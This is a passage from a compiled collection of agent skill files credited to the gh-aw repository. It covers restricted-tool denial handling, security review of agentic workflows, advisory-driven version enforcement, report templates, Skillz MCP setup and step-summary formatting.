- Never auto-resolve a source `.md`, Go, JavaScript, or other mixed conflict.
- If the script refuses a mixed conflict, resolve source conflicts on their
  merits, stage them, and rerun the same command. It will regenerate the
  remaining lock conflicts.
- Do not abort an existing merge unless the user explicitly requests it.

<!-- chapter:end slug=resolve-merge-conflicts -->

---

<!-- chapter:begin slug=restricted-tool-triage position=48 -->

## 48. restricted-tool-triage

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/restricted-tool-triage/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/restricted-tool-triage/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/restricted-tool-triage.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: restricted-tool-triage
description: Operate safely and efficiently inside a gh-aw workflow with a restricted tools/bash allowlist, and correctly triage tool-denial events before they exhaust the session's denial budget.
---

# Restricted Tool Triage

Use this skill whenever you (the agent) are executing inside a gh-aw workflow whose frontmatter declares a narrow `tools:` allowlist (e.g. a short `bash: [...]` list, a scoped MCP `toolsets`, or no `read`/`shell` at all) and you hit — or are at risk of hitting — a "permission denied" / tool-denial response from the harness.

## Why this matters

gh-aw enforces a **hard, non-renewable denial budget** per session (commonly 3 denied tool calls). Once the threshold is reached, the harness emits `guard.tool_denials_exceeded` and aborts the entire session immediately — no further turns, no partial credit, no chance to recover. Treat every tool denial as spending down a scarce budget, not as a way to probe what's allowed.

## Triggers

- A tool call returns "permission denied by workflow tool permissions" or similar.
- You are about to try a shell/read/write command and are unsure if it's in the declared `tools:` allowlist.
- The workflow frontmatter shows a short/explicit `bash:` list, restrictive MCP `toolsets`, or omits `edit`/`bash` entirely.

## Procedure

1. **Read the allowlist first, before acting.** Before issuing any shell/file/MCP command, check the workflow's declared `tools:` block (frontmatter `bash: [...]`, `edit:`, MCP `toolsets:`, etc.) if visible in context, or infer it from the first denial message, which echoes the exact denied command. Do not assume general-purpose shell access is available just because the environment looks like a normal shell.

2. **On the first denial, stop and pivot — do not retry variants.** A denial is not a request to try a slightly different phrasing of the same disallowed command (e.g. don't go from `git status` to `git status --short` to `git diff --stat` as three separate attempts). Instead:
   - Identify the *capability* you actually need (e.g. "see which files changed").
   - Map it to a tool/command explicitly present in the allowlist (e.g. use `git diff --name-only` if `git diff:*` is allowed but `git status` is not; use the already-available MCP toolset instead of raw `read`/`shell` for file or repo introspection).
   - If no allowed tool can achieve the capability, stop attempting workarounds for that capability and route around it (skip the sub-task, or note the limitation in your output) rather than spending more of the denial budget.

3. **Budget awareness.** Assume a low, fixed denial ceiling (verify from harness messages such as "N/M" if shown, e.g. "tool denial 2/3"). Once you're at 1 remaining denial, do not attempt anything speculative — only proceed with actions you are confident are allowed.

4. **Don't misreport scope-as-bug.** A restricted toolset is very often an intentional, security-motivated author choice (least-privilege workflow design), not a misconfiguration. Before calling `missing_tool` / `missing_data` / equivalent "report a gap" safe-output:
   - Confirm the missing capability is genuinely required to complete the task and has no in-allowlist substitute.
   - Do NOT claim "verify token scopes / repository permissions / credentials" when the actual evidence is a `tools:` allowlist denial — that phrasing wrongly suggests an infra/auth bug and can prompt maintainers to loosen permissions unnecessarily, which is a security regression.
   - If you do report a gap, name the specific missing tool/capability and cite the exact denied command(s), not a generic "permissions" narrative.

5. **Prefer completing partial work over aborting.** If some parts of the task can be completed using only allowed tools, finish and report those, and clearly note what could not be done due to the restricted toolset — rather than continuing to probe disallowed tools until the session is forcibly terminated.

## Verification checklist

- [ ] Did you check the declared `tools:` allowlist (or infer it from the first denial) before issuing further commands?
- [ ] After any denial, did you switch to a different *capability strategy* rather than retry a denied command class?
- [ ] Did you stay well under the denial threshold (ideally 0 denials, never risk the last one on a speculative call)?
- [ ] If you reported a missing tool/capability, did you cite the specific denied command(s) instead of a generic "check credentials/permissions" claim?

## Stop conditions

- If you reach 2 denials, stop attempting anything not certain to be in the allowlist — finish with only allowed tools and report the limitation.
- If the required capability has no allowed substitute, do not keep probing; complete what you can and clearly state the constraint in your final output rather than exhausting the denial budget.

<!-- chapter:end slug=restricted-tool-triage -->

---

<!-- chapter:begin slug=review-agentic-workflows position=49 -->

## 49. review-agentic-workflows

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/review-agentic-workflows/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/review-agentic-workflows/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/review-agentic-workflows.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: review-agentic-workflows
description: Review agentic workflow changes for correctness, security posture, and optimization opportunities with compile, validation, and audit evidence.
---

# Review Agentic Workflows

Use this skill when asked to review `.github/workflows/*.md` agentic workflows or their generated `.lock.yml` outputs.
Reference workflow authoring skill guidance at: https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/agentic-workflows/SKILL.md

## Goals

1. Produce a security-first review of workflow changes.
2. Compile workflows with validation and security scanners.
3. Flag suspicious changes that weaken protections.
4. Use run history (`logs`/`audit`) when available to find optimization opportunities.

## Self-contained setup (do not assume environment is ready)

### Step 0) Verify CLI availability

Run from the repository root:

```bash
if gh aw --help >/dev/null 2>&1; then
  echo "gh aw is installed"
else
  if [ -f ./install-gh-aw.sh ]; then
    echo "gh aw is missing. Run the install step before continuing:"
    echo "  bash ./install-gh-aw.sh"
    echo "Then verify:"
    echo "  gh aw --help"
  else
    echo "gh aw is missing and ./install-gh-aw.sh is not present in this checkout."
  fi
  return 1 2>/dev/null || exit 1
fi
```

## Review workflow

### 1) Scope the review

Run this scope check in the review step:

```bash
BASE_REF="${BASE_REF:-origin/main}"
if git rev-parse --verify "$BASE_REF" >/dev/null 2>&1; then
  git diff --name-only "$BASE_REF...HEAD" -- .github/workflows/
else
  git diff --name-only -- .github/workflows/
fi
```

If source `.md` files changed, treat generated `.lock.yml` drift as part of the review.

### 2) Compile with validation + security tools

For changed workflows, run strict compilation with validators:

```bash
gh aw compile --strict --actionlint --zizmor --poutine --runner-guard --yamllint --shellcheck
```

If `gh aw` extension is unavailable but local binary exists:

```bash
./gh-aw compile --strict --actionlint --zizmor --poutine --runner-guard --yamllint --shellcheck
```

Fail review on compilation errors or High/Critical security findings unless explicitly justified.

### 3) Enforce security best practices

Require and verify:

- least-privilege `permissions:` (no `write-all` without explicit rationale)
- pinned third-party actions by full commit SHA
- safe handling of untrusted GitHub event data (no direct template injection into shell)
- explicit `safe-outputs` limits (`max`, constrained event/action sets)
- no broadening of network/tool access without justification
- no integrity downgrades (for example lower `min-integrity`)

### 4) Detect suspicious weakening changes

Treat these as suspicious until proven safe:

- permission expansion (especially new `write` scopes or global writes)
- relaxed security controls (`strict: false`, reduced guardrails, disabled scans)
- larger write blast radius (`safe-outputs` limits removed or sharply increased)
- reduced provenance controls (unpinning actions, mutable refs)
- wider external access (new unrestricted network domains/ecosystems)
- prompt or script edits that reintroduce command/template injection risk

Use targeted diffs and call out before/after impact.

### 5) Audit history and optimize (when run data exists)

If workflow run IDs/URLs are available, audit them:

```bash
gh aw audit <run-id-or-url>
gh aw logs --start-date -14d --workflow-name <workflow-name>
```

Look for optimization opportunities:

- high token/cost usage
- repeated retries/tool failures
- long-running steps or bottleneck jobs
- unnecessary MCP/tool invocations
- firewall denials causing retries or wasted turns

Recommend minimal, safe optimizations that keep or improve security posture.

## Review output contract

Return findings in three sections:

1. **Security regressions (must-fix)** — high-confidence weakening changes.
2. **Validation/scanner results** — compile and tool outcomes.
3. **Optimization opportunities** — optional improvements backed by logs/audit evidence.

Each finding should include severity, file(s), rationale, and a concrete remediation direction.

<!-- chapter:end slug=review-agentic-workflows -->

---

<!-- chapter:begin slug=security-advisory-compat-enforcer position=50 -->

## 50. security-advisory-compat-enforcer

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/security-advisory-compat-enforcer/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/security-advisory-compat-enforcer/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/security-advisory-compat-enforcer.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: security-advisory-compat-enforcer
description: Review a GitHub security advisory and safely update .github/aw/compat.json with evidence-backed version enforcement.
---

# Security Advisory Compatibility Enforcer

Use this skill to translate a GitHub repository security advisory into the
smallest safe update to `.github/aw/compat.json`.

## Required inputs

Record the repository, GHSA identifier, requested enforcement policy, and any
patched version supplied by the user. Treat a user-supplied version as a target
to verify, not as evidence for advisory details.

## Evidence retrieval

1. Attempt authenticated retrieval first:
   `gh api repos/OWNER/REPO/security-advisories/GHSA-ID`.
2. If authentication is unavailable or access fails, try the public global
   advisory endpoint: `gh api advisories/GHSA-ID` (or its equivalent REST URL).
3. Record the endpoint and outcome of each attempt. If both sources are
   inaccessible, state that explicitly. Never infer or invent the affected
   package, vulnerable range, severity, CVE, publication state, or patched
   version.
4. Verify the proposed patched version independently. Prefer a published
   repository release or tag, then package-registry metadata when applicable.
   Cite the exact URL or command result. Do not update compatibility policy if
   the target cannot be verified, unless the user explicitly directs use of a
   supplied target despite inaccessible advisory metadata; document that
   limitation without converting it into fabricated advisory evidence.

## Choose the correct policy field

- `minimumVersion` is a hard floor: activation fails for every compiler version
  below it. Change it only when the requested remediation is a universal
  minimum-version enforcement.
- `blockedVersions` rejects listed versions exactly. Change it only when
  evidence or explicit instructions identify exact versions to deny and a
  continuous minimum floor would be inaccurate.
- `minRecommendedVersion` only warns below the value. Change it only for an
  explicitly requested recommendation, never as a substitute for enforcement.
- Agent rows under `agent-compat-v1` select compatible agent versions; they are
  unrelated to compiler security enforcement unless separate evidence requires
  an agent compatibility change.

## Write remediation guidance

Provide concise, actionable remediation in `.github/aw/compat.md` and the final
report. Follow established security-advisory terminology:

1. Identify the affected product or component, GHSA identifier, CVE identifier
   when assigned, affected versions, and first fixed or unaffected version.
   Use exact bounded ranges and do not broaden the advisory's claims.
2. State the permanent remediation in imperative language. Give exact,
   copyable upgrade and regeneration commands verified against official
   documentation. For compiler advisories, explain whether existing generated
   workflows must be recompiled and redeployed; blocking a vulnerable version
   prevents execution but does not repair generated artifacts.
3. Separate remediation from mitigations and workarounds. Include a temporary
   measure only when the advisory documents it. If the retrieved advisory does
   not identify one, say so without claiming that no workaround exists.
4. Include a verification step that checks the installed version and any
   regenerated artifacts. Do not treat a successful install alone as proof that
   deployed workflows were remediated.
5. Link the advisory, fixed release, and authoritative upgrade documentation.
   Mention severity, CVSS, known exploitation, CISA KEV status, deadlines, or
   urgency only when verified from authoritative evidence.

Do not invent commands, CVE identifiers, affected configurations, mitigations,
or timelines. If remediation details cannot be verified, identify the missing
evidence and leave the instructions explicitly incomplete.

## Safe edit procedure

1. Parse the current JSON and record all four policy areas above.
2. Compare semantic versions numerically. A minimum is monotonic: never lower a
   non-empty `minimumVersion` or `minRecommendedVersion`. Stop and report a
   requested downgrade rather than applying it.
3. Make the narrowest evidence-backed edit. Preserve `blockedVersions`,
   `minRecommendedVersion`, every `agent-compat-v1` row, key ordering, and
   formatting unless the selected policy specifically requires changing them.
4. When changing `blockedVersions`, update `.github/aw/compat.md` in the same
   change. Account for every blocked version, state why each version or
   contiguous range is blocked, link to the corresponding advisory, and provide
   the remediation and verification steps defined above.
5. Review the final diff and reject unrelated changes.

## Required validation

Before reporting completion:

1. Run the repository's `Validate compat.json structure and version formats`
   task from `.github/workflows/cgo.yml`.
2. Validate `.github/aw/compat.json` against
   `.github/aw/compat.schema.json` with a JSON Schema Draft 7 validator. JSON
   parsing or ad hoc field checks are not substitutes for schema validation.
3. Confirm `.github/aw/compat.md` accounts for every `blockedVersions` entry
   and that each documented range links to its advisory.
4. Exercise the runtime policy semantics with versions immediately below, at,
   and above the changed boundary; confirm only the intended hard-fail, warning,
   or exact-block behavior changed.
5. Confirm semantic-version monotonicity and byte-for-byte preservation of
   unrelated policy fields and agent rows.

Do not claim validation that was not run. If repository constraints prohibit a
required check, report it as outstanding.

## Report

Cite advisory retrieval attempts and patched-version verification. State which
field changed, old and new values, why that policy is correct, which fields were
preserved, and the compatibility task, schema, documentation, and runtime
validation results. Include the remediation, any advisory-supported temporary
mitigation, and verification steps. Clearly separate verified facts,
user-provided inputs, and unavailable advisory details.

<!-- chapter:end slug=security-advisory-compat-enforcer -->

---

<!-- chapter:begin slug=sergo-examples position=51 -->

## 51. sergo-examples

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/sergo-examples/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/sergo-examples/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/sergo-examples.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: sergo-examples
description: Optional Sergo examples for cache formats and reporting templates.
---

Use this skill only when Sergo needs concrete format examples.

## Example: cached tools snapshot

```json
{
  "last_updated": "2026-01-15T12:00:00Z",
  "tools": [
    {"name": "tool-name-1", "description": "..."},
    {"name": "tool-name-2", "description": "..."}
  ]
}
```

## Example: strategy history entries

```json
{"date": "2026-01-14", "strategy": "symbol-analysis", "tools": ["find-symbol", "get-definition"], "findings": 3, "tasks_created": 2, "success_score": 8}
{"date": "2026-01-13", "strategy": "type-inspection", "tools": ["get-hover", "get-type"], "findings": 5, "tasks_created": 3, "success_score": 9}
```

## Example: task template

```markdown
### Task [N]: [Short Title]

**Issue Type**: [Symbol Analysis / Type Inspection / etc.]
**Problem**: [Clear description]
**Location(s)**: [file paths and line references]
**Impact**: Severity, affected files, risk
**Recommendation**: [Specific fix]
**Validation**: Existing tests, Serena verification, related-pattern check, docs if needed
**Estimated Effort**: [Small/Medium/Large]
```

## Example: discussion structure

Follow the `reporting` skill (headers `###`+, `<details>` for long sections):

```markdown
### 🔬 Sergo Report: [Strategy Name]

**Date**: [YYYY-MM-DD]
**Strategy**: [Name]
**Success Score**: [X/10]

### Executive Summary
### 🛠️ Serena Tools Update
### 📊 Strategy Selection
### 🔍 Analysis Execution

<details>
<summary><b>📋 Detailed Findings</b></summary>
</details>

### ✅ Improvement Tasks Generated
### 📈 Success Metrics

<details>
<summary><b>📊 Historical Context</b></summary>
</details>

### 🎯 Recommendations
### 🔄 Next Run Preview
```

<!-- chapter:end slug=sergo-examples -->

---

<!-- chapter:begin slug=skillz-integration position=52 -->

## 52. skillz-integration

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/skillz-integration/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/skillz-integration/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/skillz-integration.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: skillz-integration
description: Run and integrate Skillz MCP server with Docker for skill execution.
---


# Skillz MCP Server Integration

Skillz is an MCP server that turns Claude-style skills (`SKILL.md` plus optional resources) into callable tools for MCP clients. It discovers skills, exposes instructions/resources, and runs bundled helper scripts.

**Repository**: https://github.com/intellectronica/skillz

> ⚠️ **Experimental proof-of-concept. Potentially unsafe. Treat skills like untrusted code and run in sandboxes/containers. Use at your own risk.**

## Quick Start

### Basic Docker Configuration

To use Skillz with GitHub Agentic Workflows, add it as an MCP server in your workflow frontmatter:

```aw
on: issues
engine: copilot
mcp-servers:
  skillz:
    container: "intellectronica/skillz"
    args:
      - "-v"
      - "/path/to/skills:/skillz"
      - "/skillz"

# Your workflow with skills

Use skills from the skillz server to accomplish tasks.
```

**Key points:**
- Replace `/path/to/skills` with the actual path to your skills directory
- The skills directory is mounted at `/skillz` inside the container
- Pass `/skillz` as the argument to tell skillz where to find skills

## Skills Directory Structure

Skillz looks for skills inside the root directory you provide (defaults to `~/.skillz`). Each skill lives in its own folder or zip archive that includes a `SKILL.md` file with YAML front matter.

### Example Directory Layout

```text
skills/
├── summarize-docs/
│   ├── SKILL.md
│   ├── summarize.py
│   └── prompts/example.txt
├── translate.zip
└── web-search/
    └── SKILL.md
```

### Skill Structure

Each skill folder must contain:
- **`SKILL.md`** - Required file with YAML frontmatter describing the skill
- **Helper scripts** - Optional Python, Node.js, or other scripts
- **Resources** - Optional datasets, examples, prompts, etc.

Example `SKILL.md`:

```markdown
name: summarize-docs
description: Summarize documentation files

# Document Summarization Skill

This skill helps summarize long documentation files.

Use the provided `summarize.py` script to process documents.
```

### Packaging Skills as Zip Files

Skills can be packaged as `.zip` archives:

```text
translate.zip
├── SKILL.md
└── helpers/
    └── translate.js
```

Or with a top-level directory:

```text
data-cleaner.zip
└── data-cleaner/
    ├── SKILL.md
    └── clean.py
```

## Skillz vs Claude Code Directory Structure

### Claude Code-Compatible Layout (Flat)

For compatibility with Claude Code, use a flat directory structure where every immediate subdirectory is a single skill:

```text
skills/
├── hello-world/
│   ├── SKILL.md
│   └── run.sh
└── summarize-text/
    ├── SKILL.md
    └── run.py
```

**Limitations**: No nested directories, no `.zip` files.

### Skillz-Only Layout (Flexible)

Skillz supports nested directories and `.zip` files:

```text
skills/
├── text-tools/
│   └── summarize-text/
│       ├── SKILL.md
│       └── run.py
└── image-processing.zip
```

**Note**: This layout is NOT compatible with Claude Code.

## Configuration Options

### Environment Variables

When using Docker, you can pass environment variables to skills:

```yaml
mcp-servers:
  skillz:
    container: "intellectronica/skillz"
    args:
      - "-v"
      - "/path/to/skills:/skillz"
      - "/skillz"
    env:
      API_KEY: "${{ secrets.SKILL_API_KEY }}"
```

### Verbose Logging

Enable verbose logging for debugging:

```yaml
mcp-servers:
  skillz:
    container: "intellectronica/skillz"
    args:
      - "-v"
      - "/path/to/skills:/skillz"
      - "/skillz"
      - "--verbose"
```

<!-- chapter:end slug=skillz-integration -->

---

<!-- chapter:begin slug=workflow-step-summaries position=53 -->

## 53. workflow-step-summaries

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/workflow-step-summaries/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/workflow-step-summaries/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/workflow-step-summaries.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: workflow-step-summaries
description: Write clear GitHub Actions step summaries with progressive disclosure.
---

# GitHub Actions Step Summary Guidance

Use this skill when generating content for `$GITHUB_STEP_SUMMARY`.

### Structure summaries for quick scanning

- Start sections at `###` (h3) for readable hierarchy in workflow run pages.
- Keep titles plain text with no emojis.
- Put the most important status and outcomes first.

### Use progressive disclosure

- Wrap detailed diagnostics, logs, and secondary data in HTML `<details>` blocks.
- Use a concise `<summary>` line that states what the collapsed section contains.
- Keep default-expanded content short; move verbose output into collapsible blocks.

### Use Markdown for code and review output

- In `actions/github-script`, prefer `core.summary.*` helpers to build summary content.
- Use inline code with backticks for commands, paths, IDs, and config keys.
- Use fenced code blocks with a language tag for logs, diffs, snippets, or commands.
- Present review findings as markdown sections with clear severity and action items.

### Suggested checklist before writing

- Confirm section headings start at h3.
- Confirm no title includes emoji.
- Confirm verbose content is inside `<details>` blocks.
- Confirm code and review content uses proper markdown code formatting.

<!-- chapter:end slug=workflow-step-summaries -->

---

<!-- chapter:begin slug=templates position=54 -->

## 54. {skill-name}

- **Source:** https://github.com/github/gh-aw/blob/main/.squad/templates/skill.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/skill.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/templates.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (62), referenced from this skill's directory:
  - `after-agent-reference.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/after-agent-reference.md
  - `casting-history.json` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/casting-history.json
  - `casting-policy.json` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/casting-policy.json
  - `casting-reference.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/casting-reference.md
  - `casting-registry.json` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/casting-registry.json
  - `casting/Futurama.json` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/casting/Futurama.json
  - `ceremonies.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/ceremonies.md
  - `ceremony-reference.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/ceremony-reference.md
  - `charter.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/charter.md
  - `client-compatibility-reference.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/client-compatibility-reference.md
  - `constraint-tracking.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/constraint-tracking.md
  - `cooperative-rate-limiting.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/cooperative-rate-limiting.md
  - `copilot-agent.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/copilot-agent.md
  - `copilot-instructions.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/copilot-instructions.md
  - `fact-checker-charter.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/fact-checker-charter.md
  - `fact-checker-policy.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/fact-checker-policy.md
  - `history.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/history.md
  - `identity/now.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/identity/now.md
  - `identity/wisdom.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/identity/wisdom.md
  - `issue-lifecycle.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/issue-lifecycle.md
  - `keda-scaler.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/keda-scaler.md
  - `machine-capabilities.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/machine-capabilities.md
  - `mcp-config.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/mcp-config.md
  - `model-selection-reference.md` — https://raw.githubusercontent.com/github/gh-aw/main/.squad/templates/model-selection-reference.md
  - …and 38 more, listed in https://skillsdocs.com/api/v1/books/github/gh-aw/skills/templates

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: "{skill-name}"
description: "{what this skill teaches agents}"
domain: "{e.g., testing, api-design, error-handling}"
confidence: "low|medium|high"
source: "{how this was learned: manual, observed, earned}"
tools:
  # Optional — declare MCP tools relevant to this skill's patterns
  # - name: "{tool-name}"
  #   description: "{what this tool does}"
  #   when: "{when to use this tool}"
---

## Context
{When and why this skill applies}

## Patterns
{Specific patterns, conventions, or approaches}

## Examples
{Code examples or references}

## Anti-Patterns
{What to avoid}

<!-- chapter:end slug=templates -->
